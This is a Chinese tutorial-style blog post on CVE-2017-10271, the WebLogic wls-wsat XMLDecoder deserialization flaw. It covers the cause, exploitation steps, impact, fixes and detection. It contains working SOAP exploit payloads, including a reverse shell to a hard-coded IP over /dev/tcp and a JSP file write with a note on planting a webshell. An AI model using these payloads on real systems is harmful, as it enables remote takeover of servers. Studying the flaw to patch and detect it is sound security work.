当前位置: 首页 > news >正文

CVE-2017-10271

Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞
  • 漏洞原理:
反序列化机制: weblogic sercer使用的是java的XMLDecoder类来解析和范系列化xml数据
xml Decoder是一个强大的工具,可以将xml数据转换为java对象,然而如果反序列化的数据不受信任,可能导致安全问题
  • 漏洞触发点
weblogic server的wls-wsat组件提供了一个web服务点(/wls-wsat/CoordiatorPortType),用于处理SOAP请求
(SOAP是一种基于XML的协议),定义了如何在网络上传输信息 它是基于XML,因此消息是文本格式,易于阅读和调试 SOAP通常于http、HTTPS等协议结合使用,但是也能于SMTP等其他的协议一起使用
一个典型的SOAP请求包括以下部分:
  1. Envelope(信封) 根元素,标识这是一个SOAP信息,包含了Header和BOdy
  2. Header(头部) 可选部分,用于传递附加的信息(如认真信息,事物ID等)
  3. Body(主体) 必需部分,包含实际的数据请求
SOAP响应的结构:包含Envelope、Header和Body
该端点使用了XMLDecoder来处理传入的XML数据
  • 恶意XML构造
<java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>touch /tmp/pwned</string></void>
        </array>
        <void method="start"/>
    </object>
</java>

#该XML文件会通过XMLDecoder反序列化为一个ProcessBuilder对象,并且执行系统命令例如:touch /tmp/pwned
  • 漏洞利用过程:
  1. 攻击者构造恶意的XML文件,嵌入到http的请求中
  2. 将恶意的XML文件作为SOAP请求发送到weblogic Server的wls-wsat端点
  3. Weblogic Server使用XMl Decoder反序列化恶意的XML文件
  4. 反序列化过程中,恶意代码被执行,导致远程代码执行
如下所示:
我们需要使用bp抓取数据包,然后构造恶意的XML文件即可!
我们需要将conten-type修改成text/xml
测试的poc为:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.12.8/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

#这里使用dev/tcp;反弹shell 192.168.12.8/1234端口
#我们只需要用kali监听1234端口即可
还给到了写入文件的poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>  

#写入了test的内容,我们也可以写入websehl
  • 漏洞影响:
  1. 远代码执行
攻击者哉目标的服务器上执行任意的命令,完全控制服务器
  1. 数据泄露
攻击者可以读取服务器上的敏感数据
  1. 服务器被接管
攻击者可以植入后门,创建新的用户或者删除数据
  • 修复建议:
  1. 打补丁 官方补丁
  2. 禁用wls-wsat组建,删除或者重命名wsl-wsat.war 和wls-wsat-coordination.war
  3. 限制访问,使用防火墙或者安全组限制对weblogic server端口的访问
  4. 检查weblogic server 的日子发现可以的soap请求
  • 漏洞检测
  1. 手动检测:
检查weblogic server版本是否存在响应范围内
  1. 工具检测:
使用漏洞扫描工具扫(nessus nmap等)
  1. Poc验证:
使用公开的poc脚本验证是否存在

相关文章:

  • 多时间尺度的配电网深度强化学习无功优化策略的Python示例代码框架
  • SpringBoot中的定时任务实现方式有哪些?
  • 【医学影像 AI】基于深度学习的 ROP 病变检测图像评估系统
  • ISP--Gamma Correction
  • javaWeb的详细笔记(超详细版本)
  • ANSI编码
  • Python中的静态方法如何使用?
  • 《灵珠觉醒:从零到算法金仙的C++修炼》卷三·天劫试炼(42)九龙神火罩拓扑 - 课程表排序(拓扑排序)
  • MIFNet (论文阅读笔记)
  • 4.0 相机引导XY轴控制螺丝枪打螺丝
  • 信创环境下TOP5甘特图工具对比:从功能到适配性测评
  • Arduino示例代码讲解:ArduinoISP
  • matlab 控制系统GUI设计-PID控制超前滞后控制
  • 【数学基础】概率与统计#1概率论与信息论初步
  • [本周五题]Javascript面试常考题手撕场景UR缓存、new关键字、大数相加、最长递增子序列、高并发请求、大文件上传和WebWorks
  • windows安装两个或多个JDK,并实现自由切换
  • JConsole 监控线程池状态
  • 基恩士PLC编程小技巧十:快速查找空软元件
  • 生态质量研究概述
  • Linux命令基础,创建,输入,输出,查看,查询
  • 无人机考证热背后:掏空年轻人钱包,养肥培训机构
  • 探月工程鹊桥二号中继星取得阶段性进展
  • 《习近平新时代中国特色社会主义思想学习论丛》第十一辑至第十五辑出版发行
  • 陕西:未来一周高温持续,继续发布冬小麦干热风风险预警
  • 上海天文馆走进徐家汇书院,XR沉浸式天文科普体验再推力作
  • 浙江一家长称小学老师打孩子还威胁要从3楼扔下,当地警方已立案